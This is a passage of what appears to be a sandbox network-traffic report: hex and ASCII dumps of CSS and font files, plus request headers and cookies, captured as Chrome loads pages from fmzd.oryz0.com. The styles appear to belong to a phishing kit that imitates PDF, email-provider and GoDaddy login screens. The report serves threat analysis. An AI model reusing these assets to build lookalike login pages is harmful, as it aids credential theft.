2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 33 31 32 35 70 63 20 35 70 78 20 30 20 30 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 6c 6f 67 69 6e 62 6f 78 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 30 20 33 2e 37 35 70 74 20 2e 30 35 32 30 38 33 33 33 33 69 6e 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6f 70 74 73 3a 68 6f 76 65 72 2c 2e 62 61 63 6b 3a 68 6f 76 65 72 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 Data Ascii: :center;justify-items:center;display:flex;border-radius:.3125pc 5px 0 0}#sections_pdf .login .loginbox{border-radius:0 0 3.75pt .052083333in}#sections .opts:hover,.back:hover,.row.tile:not(.no-pick):hover{background-color:rgba(0,0,0,.1)}#sections_pdf .log
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 7b 77 69 64 74 68 3a 33 36 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 3e 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 37 39 29 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 3b 62 6f 72 64 65 72 2d 72 Data Ascii: in .selectProvider .choseemails{width:360px;height:auto;margin:30px;display:flex}#sections_pdf .login .selectProvider .choseemails>span{color:#fff;width:100%;height:auto;margin:auto;text-align:center;background-color:rgba(0,0,0,.379);padding:15px;border-r
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 6d 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 75 6e 73 65 74 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 70 72 6f 67 72 65 73 73 44 6f 74 7b 30 25 2c 32 30 25 7b 6c 65 66 74 3a 30 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 3b 6f 70 61 63 69 74 79 3a 30 7d 32 35 25 2c 37 35 25 7b 6f 70 61 63 69 74 79 3a 31 7d 33 35 25 7b 6c 65 66 74 3a 34 35 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 6c 69 6e 65 61 72 7d 36 35 25 7b 6c 65 66 74 3a 36 30 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 Data Ascii: m{opacity:.4;pointer-events:none}to{opacity:1;pointer-events:unset}}@keyframes progressDot{0%,20%{left:0;animation-timing-function:ease-out;opacity:0}25%,75%{opacity:1}35%{left:45%;animation-timing-function:linear}65%{left:60%;animation-timing-function:ea
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 63 6f 6e 74 61 69 6e 65 72 2e 6c 6f 61 64 69 6e 67 20 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 6e 74 68 2d 63 68 69 6c 64 28 34 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2e 35 73 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6c 6f 61 64 69 6e 67 20 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 6e 74 68 2d 63 68 69 6c 64 28 35 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2e 36 35 73 7d 23 73 65 63 74 69 6f 6e 73 7b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 63 65 6c 6c 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 23 73 65 63 74 69 6f 6e 73 20 2e 73 65 63 74 69 6f 6e 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 72 Data Ascii: container.loading .dot-floating:nth-child(4){animation-delay:.5s}#sections .loading-container.loading .dot-floating:nth-child(5){animation-delay:.65s}#sections{height:100vh;width:100vw;display:table-cell;max-width:100%}#sections .sectioncontent{position:r
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 67 68 74 3a 33 36 70 78 3b 6f 75 74 6c 69 6e 65 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2d 20 32 30 70 78 29 7d 2e 69 6e 70 75 74 3a 68 6f 76 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 3a 68 6f 76 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 38 29 7d 2e 69 6e 70 75 74 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 7d 23 61 75 74 68 63 61 6c 6c 64 65 73 63 7b 66 6f 6e 74 2d 73 69 Data Ascii: ght:36px;outline:0;border-radius:0;-webkit-border-radius:0;background-color:transparent;width:calc(100% - 20px)}.input:hover,input[type=email]:hover,input[type=tel]:hover{border-color:rgba(0,0,0,.8)}.input::placeholder{font-size:15px}#authcalldesc{font-si
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 30 7d 2e 61 6c 65 72 74 2d 65 72 72 6f 72 7b 63 6f 6c 6f 72 3a 23 65 38 31 31 32 33 7d 69 6e 70 75 74 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2b 6c 61 62 65 6c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 2e 64 69 72 6c 74 72 7b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 7d 2e 69 6e 70 75 74 2d 6d 61 78 2d 77 69 64 74 68 7b 6d 61 78 2d 77 69 64 74 68 3a 36 34 30 70 78 7d 2e 74 61 62 6c 65 2c 69 6e 70 75 74 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 6c 61 62 65 6c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 7b 62 6f 72 64 65 72 2d 77 69 64 74 68 Data Ascii: t-radius:0;border-top-left-radius:0;border-left:0}.alert-error{color:#e81123}input.form-control+label.input-group-addon{border-radius:0}.dirltr{direction:ltr}.input-max-width{max-width:640px}.table,input{max-width:100%}label.input-group-addon{border-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49779	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:33 UTC	1380	OUT	GET /xy9dtplWirs6mgh22 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:34 UTC	629	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:33 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="xy9dtplWirs6mgh22" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FC%2F0ihxA3IwNJlGXpWe6tTWmvo8mRkn1RUdCvaXorPlVb5QTf9suDqsFj9to5s2XKUn5sQ4N8MZROOkCtrEH0nbM0Ijyt50ZIyvIuxfIHV66YapNzNL%2FelUDAl2O9g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0b9ee295e72-EWR
2024-05-23 08:31:34 UTC	740	IN	Data Raw: 33 37 62 39 0d 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 67 64 73 68 65 72 70 61 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 73 72 63 3a 20 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 62 6f 6c 64 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 62 6f 6c 64 2e 77 6f 66 66 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 2d 31 30 46 46 46 46 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 Data Ascii: 37b9@font-face{font-family: 'gdsherpa';font-weight: 700;src: url('/web8/assets/fonts/GDSherpa-bold.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-bold.woff') format('woff');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family:
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 69 67 68 74 3a 20 31 20 39 30 30 3b 73 72 63 3a 20 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 76 66 32 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 76 66 32 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 2d 76 61 72 69 61 74 69 6f 6e 73 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 2d 31 30 46 46 46 46 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 67 64 2d 73 61 67 65 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 73 72 63 3a 20 75 72 6c Data Ascii: ight: 1 900;src: url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2-variations');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gd-sage';font-weight: 700;src: url
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 35 65 6d 29 20 2f 20 32 29 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 67 61 70 3a 20 30 2e 35 65 6d 3b 0d 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0d 0a 20 20 2d 2d 75 78 2d 62 75 74 74 6f 6e 2d 69 63 6f 6e 2d 6d 61 72 67 69 6e 3a 20 63 61 6c 63 28 28 76 61 72 28 2d 2d 75 78 2d 74 33 37 39 6f 76 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 20 2a 20 31 65 6d 20 2d 20 31 2e 35 65 6d 29 20 2f Data Ascii: 5em) / 2); padding: 0; text-decoration: var(--ux-1f7if5p,underline); -webkit-text-decoration: var(--ux-1f7if5p,underline); gap: 0.5em; cursor: pointer; --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) /
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 62 6c 6f 63 6b 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 62 6c 6f 63 6b 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 62 6c 6f 63 6b 3a 6e 6f 74 28 3a 65 6d 70 74 79 29 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 62 6c 6f 63 6b 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 Data Ascii: ize);}#sections_godaddy .ux-space.ux-space--block:empty { display: inline-flex; block-size: var(--uxSpace--padding-size);}#sections_godaddy .ux-space.ux-space--block:not(:empty) { padding-block: var(--uxSpace--padding-size);}#se
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 33 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 32 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 34 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 33 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 35 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 Data Ascii: v,1.125)); --uxText--fontSize3: calc(var(--uxText--fontSize2) var(--ux-y4pg8z,) var(--ux-7s4p3v,1.125)); --uxText--fontSize4: calc(var(--uxText--fontSize3) var(--ux-y4pg8z,) var(--ux-7s4p3v,1.125)); --uxText--fontSize5: calc(var(--uxText--fontS
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 6f 72 3a 20 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 0d 0a 20 20 66 69 6c 6c 3a 20 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 74 65 78 74 2d 69 6e 70 75 74 2d 73 68 65 6c 6c 20 2e 75 78 2d 74 65 78 74 2d 63 61 70 74 69 6f 6e 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 36 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 66 69 65 6c 64 2d 66 72 61 6d 65 2e 75 78 2d 66 69 65 6c 64 2d 66 72 61 6d 65 2d 2d 69 6e 76 61 6c 69 64 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 44 42 31 38 30 32 20 21 69 6d 70 6f 72 74 61 6e 74 3b Data Ascii: or: currentColor; fill: currentColor;}#sections_godaddy .ux-text-input-shell .ux-text-caption { margin-top: 6px; font-size: 13px;}#sections_godaddy .ux-field-frame.ux-field-frame--invalid { border-color: #DB1802 !important;
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 73 72 2d 6f 6e 6c 79 20 7b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 77 69 64 74 68 3a 20 31 70 78 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 63 6c 69 70 3a 20 72 65 63 74 28 30 2c 30 2c 30 2c 30 29 3b 0d 0a 20 20 63 6c 69 70 3a 20 72 65 63 74 28 30 2c 30 2c 30 2c 30 29 3b 0d 0a 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 63 6c 69 70 2d 70 61 74 68 3a 20 69 6e 73 65 74 28 35 30 25 29 3b 0d 0a 20 20 63 6c 69 70 2d 70 61 74 68 3a 20 69 6e 73 65 74 28 35 30 25 29 3b 0d 0a 20 Data Ascii: ons_godaddy .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; overflow: hidden; -webkit-clip: rect(0,0,0,0); clip: rect(0,0,0,0); white-space: nowrap; -webkit-clip-path: inset(50%); clip-path: inset(50%);
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 72 2d 62 6f 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2e 30 39 33 37 35 72 65 6d 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c Data Ascii: r-box; padding: 0; vertical-align: .09375rem;}#sections_godaddy .container { margin-left: auto; margin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container::after { content: ""; display: tabl
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 78 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 63 61 72 64 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 66 6f 6e 74 2d 70 72 69 6d 61 72 79 2d 62 6f 6c 64 20 7b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 30 36 37 70 68 39 2c 73 61 6e 73 2d 73 65 72 69 66 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 65 72 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 Data Ascii: x solid var(--ux-97h3vl,#d3d3d3);}#sections_godaddy .ux-card .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .font-primary-bold { font-family: var(--ux-1067ph9,sans-serif); font-weight: bolder;}#sect
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 76 61 72 28 2d 2d 75 78 2d 39 71 70 66 36 63 2c 23 30 30 66 29 29 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 75 71 34 39 70 67 2c 76 61 72 28 2d 2d 75 78 2d 68 36 65 37 63 31 2c 23 66 66 66 29 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 34 68 76 6f 76 6e 2c 76 61 72 28 2d 2d 75 78 2d 31 78 6c 69 75 68 69 2c 74 72 61 6e 73 70 61 72 65 6e 74 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 2e 75 78 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 Data Ascii: var(--ux-9qpf6c,#00f)); color: var(--ux-uq49pg,var(--ux-h6e7c1,#fff)); border-color: var(--ux-4hvovn,var(--ux-1xliuhi,transparent));}#sections_godaddy .ux-button.ux-button-primary { color: #fff; background-color: #000; border-color: #

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49780	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:33 UTC	1403	OUT	GET /rs446YaMsFkkugl9Pul1200uv39 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://fmzd.oryz0.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
